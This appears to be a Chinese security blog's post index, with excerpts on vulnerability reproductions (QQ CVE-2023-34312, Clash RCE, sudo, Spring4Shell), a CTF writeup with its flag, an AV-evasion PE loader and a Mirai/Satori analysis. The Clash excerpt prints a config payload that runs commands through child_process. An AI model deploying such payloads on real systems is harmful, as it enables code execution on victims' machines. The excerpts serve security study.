【漏洞复现】CVE-2023-34312分析
关于QQ提权漏洞CVE-2023-34312的分析 !!未完待续!! PoC分析 PoC地址:https://github.com/vi3t1/qq-tim-elevation,用rust写的按照教程编译好了就可以直接打了 由于没有开启ASLR保护所以很稳 接着是分析一下PoC 触发 触发方式是.\QQProtect .\evil.dll,同时必须保持tinyxml.dll在同一目录下,这里用QQ9.7.7举例子。 首先是GetCommandLineW获得启动参数,接着判断置否存在下列关键参数,然后不存在关键参数直接到了StartAddress 使用QQProtectEngine.dll中的RunQQProtect,设置回调函数sub_40C950 回调函数中的a2指针可以将任何地址的值设置为参数分析时的参数个数值,也就是 1。 那么现在我们就有了将任意地址写为1的能力,恰好QQProtect.exe没有开启ASLR保护,若开启的话下图应该存在IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE PoC 和上文中结合起来,在QQPro...
【CTF】2023 Google CTF WriteUp与复现
端午节打的比赛,事情比较多没怎么看题,指导学弟做了下,这里来个复盘。 开始CTF的复健之路吧。 Pwn WRITE-FLAG-WHERE 最简单的一道pwn,没有开ASLR保护。当时我的机器跑不起来,学弟的能跑,和他一起分析。 程序的主逻辑是读取/proc/self/maps来读取存在的内存(gdb中的vmmap就是这样实现的),然后把 flag 读取到一个全局变量中,最后我们可以在任意一个地址写入任意长度(<0x7f)的flag中的字符串。 当时我们是在arch上做的,使用gdb能看到输出,然后尝试将flag覆盖内存中的提示语句 那么地址就是 *$rebase(0x21E0),尝试远程 得到flag CTF{Y0ur_j0urn3y_is_0n1y_ju5t_b39innin9} WRITE-FLAG-WHERE 2 当时离做出来差了亿点点。 保护没变,但是删除了之前的字符串修改点。后来我看到了有一段无关的代码段 后来想这道题快想魔怔了 【未解出】使用sscanf覆盖 挺疯狂的一个想法,由于死循环内不存在输入,但是sscanf会根据你的输入去匹配,然...
【C++】Cpp函数进化
C++的函数进化小结 函数 有这样一个问题 #include <iostream>int main(){ int IntArray = { 12, 13, 35, 16, 6, 5, 5, 12, 4, 13, 38, 35, 37, 33, 35, 15, 36, 14, 13, 12 }; //统计大于20的数字 return 0;} 那么很自然的给出解法 #include <iostream>int CountMatch(int* start, int* end){ int sum = 0; for (; start < end ; start++) { if (*start > 20) sum++; } return sum;}int main(){ int IntArray[] = { 12, 13, 35, 16, 6, 5, 5, 12, ...
【win内核原理与实现】II. 进程与线程
Windows中进程与线程的设置 关于进程与线程 操作系统“复习” 在学习操作系统的时候,有个重点就是进程与线程的区别。最开始进程和线程是没有分开的,由于多数操作系统分开了用户态和内核态,那么用户态就必须和内核态进行交互才能调用系统资源(通过IOCTL交互)。这样每一个进程在内核当中都有一个“进程描述符”的东西来描述这个进程,并根据调度算法完成进程的运行。这里就假设一个进程test.exe调用了0x40大小的内存空间,在只有进程的时候,进程描述符中就会标记这个内存被这个进程使用,同时指令和运行都在其中。 这样有个问题就是,我需要两个这种“进程”来运行,且他们需要的恰好是同一块内存的相同数据,如果只有进程的话,就会存在两个0x40的内存,同时造成不必要的复制粘贴。随后就有了线程这个概念,比如面对上述情况,进程就只含有一个0x40大小的内存,对内存的访问就交给这个线程对应的进程。 进程和程序 Windows的任务调度算法可以很好地适应多处理器和多任务的情形,在windows中的进程也遵守上述的准则。对于Windows内核需要做的事情是:维护一个全局的进程表,记录下...
【免杀】内存加载PE文件
使用windows API编写PE文件加载器(Loader) 目前支支持32位 PE文件结构 在《逆向工程核心原理》中讲的已经很详细了,这里主要面向32位的可执行程序来讲解。 DOS头和PE头统称为PE头,下面的部分称之为PE体。 DOS头 DOS头的文件结构 typedef struct _IMAGE_DOS_HEADER { // DOS .EXE header WORD e_magic; // Magic number WORD e_cblp; // 文件最后一页的字节数 WORD e_cp; // 文件中的页数 WORD e_crlc; // 重定位 WORD e_cparhdr; // 段中头大小 WORD e_minalloc; // 需要最少的...
【Muud开发】2.HTTP服务改善
从0到1开发一个勉强能用的python web“框架” 项目地址:https://github.com/Joe1sn/muud 主要改进 6-1 返回报文设置 首先将原来的拼接字符串改为了Response类,实现HTTP报文字段的自定义 这样可以大大简化view.py中的代码 class Response(): def __init__(self, type="json", status_code=200, reply="") -> None: self.content_type = content_types[type] self.status_code = status_code if type == "json": self.reply = json.dumps(reply, ensure_ascii=False).encode('unicode_escape')....
【Muud开发】1.基础结构解析
从0到1开发一个勉强能用的python web“框架” 项目地址:https://github.com/Joe1sn/muud 简单介绍 在毕业设计的时候,初始选题为《基于XMPP的即时通讯系统》,想的是自己照着RFC写一遍XMPP协议,但是时间不够(毕竟要上班)。所以把废案再利用,抽出其中的一些部分,从Socket到web框架,实现一个简单的CURD功能,锻炼一下自己的文档化编程能力。受我个人能力有限会随时断更,一路上只有vscode和chatGPT以及所需要的RFC文档。 再说说已实现的部分,首先是确定在Linux上运行的,使用python语言 使用epoll模型完成了部分HTTP服务器的功能 sqlalchemy完成了数据库的ORM实现 路由通过闭包完成 视图部分编写(只考虑JSON传递) 启动部分参考了Django的设计 最后运行的效果 需求分析 根据ChatGPT,一个典型的Python Web框架通常由以下几个核心组件组成: 路由(Routing):路由用于将传入的HTTP请求映射到相应的处理程序或视图函数上。...
【win内核原理与实现】I. Windows系统结构
Windows系统结构还有引导过程 I.a 大致结构 windows内核是从windows NT内核发展过来的,从开始就和硬件的发展息息相关。 Windows采用双模式(dual mode)结构来保护操作系统内核不受应用程序的错误而出现崩溃 windows的原始设计是一个支持多环境子系统的os,它还支持POSIX和OS/2环境子系统.为他们提供仿真执行环境 I.b windows内核组成结构 关于函数的开头 nt:内核提供的服务 Ldr:映像加载器函数 Csr:Windows子进程通讯函数 Dbg:调试函数 Etw:系统时间函数 Rtl:运行支持函数 执行体API函数接收的参数来自各种应用程序,通常会在程序的最开始处,对所接受的参数逐一探查他们的可访问性。 II. windows内核关键组件 HAL 硬件抽象层 HAL通常是一个独立的动态链接库,windows自身携带多种HAL,但是在系统安装的时候只会选择一种,改名为hal.dll。涉及中断控制器、单处理器/多处理器硬件断点。 内核(微内核) 在内核模块ntoskrnl.exe中的上层部分为执行体,下层最接近...
Mirai Botnet分支Satori分析
暂时先更新这么多,后面应该还有相关作者被抓的一些消息和更多功能的逆向 基本情况 名称 x86_64 MD5 fe7ca3b588e342f79c7814bb75dc24d7 SHA256 e436196f047741070c580695f5444e0c2cdd175c88f68affdc9230d09a71c978 Domain botnet.nguyennghi.info ip 103.183.118.73 逆向分析 基本情况 64位ELF可执行文件 逆向工程 通过start找到main函数 使用IDApython脚本对类似的库函数实现进行函数重命名 import idautilsimport idaapiimport ida_nameimport idcfor func_ea in idautils.Functions(): func = idaapi.get_func(func_ea) name = idaapi.get_func_name(func_ea) for head in idautils...
windows内核驱动 2-页表探索
探索CR4 探索页面 CR3寄存器于页遍历 虚拟地址->物理地址 [驱动开发]探索CR4 英特尔® 64 位和 IA-32 架构开发人员手册合订本 第3卷第四章第五小节《4-LEVEL PAGING AND 5-LEVEL PAGING》 判断CPU是四级分页还是五级分页 page: 3074 该寄存器的值决定了映射层级是4/5, 1:5级分页 0:4级分页 //__readcr4() & 0x1000//__readcr4() & (1<<12)CR4 Cr4 = { .Value = __readcr4() };DbgPrint("CR4=0x%016I64X, CR4.LA57=%I64d\n", Cr4.Value, Cr4.Fields.LA57);if (Cr4.Fields.LA57) DbgPrint("The system using 5 Level Paging");else DbgPrint("The system u...
windows内核驱动 1-环境搭建
简而言之就是 visual stdio 2019 windows SDK windows WDK 如果vs没有kernel的项目的模板,找到vs目录的WDK.vsix即可 关于调试 windbg调试器 同时windows 虚拟机我使用的是 vmware,添加了一个COM串口 加载驱动 使用KmdKit windows设置 msconfig -> 调试 -> COM2 … 最简单的hello world 打开vs,找到KMDF (kernel mode driver empty) 设置驱动项目 取消晚上12点后编译报错 项目 -> 属性 -> Inf2Cat -> Use Local Time 代码 main.c #include <ntifs.h>// 驱动卸载函数VOIDDriverUnload(PDRIVER_OBJECT DriverObject){ UNREFERENCED_PARAMETER(DriverObject); DbgPrint("Bye\n"...
操作系统实现-合集1
代码来源:https://github.com/StevenBaby/onix 相关课程:https://www.bilibili.com/video/BV1gR4y1u7or 感谢B站UP:踌躇月光 带来的相关代码和教程 后来觉得操作系统从0到1这样学是一个非常蠢得概念,因为每个人学习他应该是有重点地。对系统有个基础的认知后,就该去精通自己要专注的方向,比如内存管理、网络协议等 也有可能你只是为了面试,但是面试也是有重点的对吧 所以把之前的文章做一个合集,喜欢在认识系统后再在方面创造子系统 [操作系统实现]基础篇 CPU中的段寄存器 CS (Code Segment Register):代码段的段基址 DS(Data Segment Register):数据段的段基址 ES(Extra Segment Register):其值为附加数据段的段基值,称为“附加”是因为此段寄存器用途不像其他 sreg 那样固定,可以额外做他用。 FS(Extra Segment Register):其值为附加数据段的段基值 GS:同上 SS(Stack Segment Register):堆...
密码朋克:一份密码朋克宣言
为何自由与隐私如此重要 译文 一份密码朋克宣言 Eric Hughes著 Joe1sn渣译 隐私在电子时代对于一个开放的社会是必要的。隐私不是保密。隐私是一个人不想让全世界知道,但是保密是一个人不想让全任何人知道。隐私是一个人对这个世界选择性表达自我的权力。 如果双方有某种交易,那么每一方都有他们互动的记忆。 每一方都可以谈论他们自己对此的记忆; 谁能阻止这发生?人们可以通过法律反对它,但是对于言论自由甚至比隐私更加重要,这是开放社会的基础。如果多方在同一个论坛上共同发言,则每一方都可以与其他所有方共同对话,并将个体的和其他只是汇总在一起。电子通信的力量已经使这种讲话称为可能,它不会仅仅因为我们可能想要它而消失。 既然我们渴望隐私,我们必须确保交易的每方只有直接与该交易相关的必要的信息。鉴于所有信息都能被表达出,我们必须确保尽可能少地透露无关信息。对于大多数例子中的个人标识(ID)的需要并不是十分突出。当我们在商店中购买一本杂志并付款给店员时,并没有必要知道我是谁。当我让我的电子邮箱提供方收发邮件时,我的提供方不需要知道谁与我对话或者我和其他人说了些什么。我的提供方只...
windbg调试入门笔记
准备点windows基础功 安装与配置 1.版本 WinDbg一般分为x86和x64,具体由调试os平台(Host)和被调试程序类型决定 x86-based Host Computer x86处理器平台上调试所有程序都使用该版本 x64-based Host Computer 分析DUMP文件:若文件是在windows XP及更新的版本生成的,则两者都可;若Windows2000及更早的版本就只能使用x86版本的WinDbg 双机调试 对于WindowsXP及其更新的系统windbg会自动适应,更老的只能使用x86版本 用户态 x64版本程序只能使用x64版本,x86版本程序则是两者皆可 2.工作空间 每调试一个程序,会涉及到要使用的参数、配置等信息,WinDBG会使用Workspace来保存这些信息,可以理解为项目文件 3.调试符号 最经典的就是使用IDA反汇编的时候,如果文件没有调试符号信息,那么函数就会被命名为sub_startaddr这样。所以在调试的时候这些信息会大大帮助我们理解程序 windows的就是PDB文件...
SUDO堆溢出提权:从fuzz到exp [3]
前文:https://blog.joe1sn.top/2022/01/04/CVE-2021-3156/ 受到youtuber:LiveOverflow的系列教程的启发,我发现在中文互联网上并没有相关的翻译教程,所以我想以实验报告的形式来创造这个从fuzz到exp的系列图文教程 原始视频合集:https://www.youtube.com/watch?v=uj1FTiczJSE&list=PLhixgUqwRTjy0gMuT4C3bmjeZjuNQyqdx 原始Blog:https://liveoverflow.com/why-pick-sudo-research-target-part-1/ 原作者代码仓库:https://github.com/LiveOverflow/pwnedit My previous blog: https://blog.joe1sn.top/2022/01/04/CVE-2021-3156/ I was inspired by the LiveOverflow’s Sudo Vulnerability Walkthrough on you...
SUDO堆溢出提权:从fuzz到exp [2]
前文:https://blog.joe1sn.top/2022/01/04/CVE-2021-3156/ 受到youtuber:LiveOverflow的系列教程的启发,我发现在中文互联网上并没有相关的翻译教程,所以我想以实验报告的形式来创造这个从fuzz到exp的系列图文教程 原始视频合集:https://www.youtube.com/watch?v=uj1FTiczJSE&list=PLhixgUqwRTjy0gMuT4C3bmjeZjuNQyqdx 原始Blog:https://liveoverflow.com/why-pick-sudo-research-target-part-1/ 原作者代码仓库:https://github.com/LiveOverflow/pwnedit My previous blog: https://blog.joe1sn.top/2022/01/04/CVE-2021-3156/ I was inspired by the LiveOverflow’s Sudo Vulnerability Walkthrough on you...
SUDO堆溢出提权:从fuzz到exp [1]
前文:https://blog.joe1sn.top/2022/01/04/CVE-2021-3156/ 受到youtuber:LiveOverflow的系列教程的启发,我发现在中文互联网上并没有相关的翻译教程,所以我想以实验报告的形式来创造这个从fuzz到exp的系列图文教程 原始视频合集:https://www.youtube.com/watch?v=uj1FTiczJSE&list=PLhixgUqwRTjy0gMuT4C3bmjeZjuNQyqdx 原始Blog:https://liveoverflow.com/why-pick-sudo-research-target-part-1/ 原作者代码仓库:https://github.com/LiveOverflow/pwnedit My previous blog: https://blog.joe1sn.top/2022/01/04/CVE-2021-3156/ I was inspired by the LiveOverflow’s Sudo Vulnerability Walkthrough on you...
【漏洞复现】clash <v0.19.8 rce
影响版本 Windows v0.19.9版本以下 漏洞复现 漏洞程序连接: https://github.com/Fndroid/clash_for_windows_pkg/releases poc.yaml port: 7890socks-port: 7891allow-lan: truemode: Rulelog-level: infoexternal-controller: :9090proxies: - name: a<img/src="1"/onerror=eval(`require("child_process").exec("calc.exe");`);> type: socks5 server: 127.0.0.1 port: "17938" skip-cert-verify: true - name: abc type: socks5 server: 127.0.0.1 port: "8088" ...
【漏洞复现】CVE-2022-22965 Spring4Shell复现与调试
wayback没有镜像,自己备份的md找不到了,只有PDF存档 https://joe1sn.top/spring4shell.pdf
JavaWeb笔记-JDBC
基本概念 快速入门 对JDBC中各个接口和类详解 JDBC概念 **概念:**Java DataBase Connectivity ,Java数据库连接 本质(类似Django的ORM):The sun公司定义的一套操作所有关系型数据库的规则(接口)。各个厂家根据接口去实现。我们可以是有这套接口编程,真正的驱动时jar包中的实现类 快速入门 简单步骤 导入驱动jar包 注册驱动 数据库连接对象Connection 定义sql 获取执行SQL语句的Statement对象 执行sql,接受返回结果 处理结果 释放资源 简单使用 package learn.jdbc;import java.sql.Connection;import java.sql.DriverManager;import java.sql.Statement;/*JDBC快速入门 */public class JdbcDemo1 { public static void main(String[] args) throws Exception { //1....








![SUDO堆溢出提权:从fuzz到exp [3]](/img/sudofuzz.png)






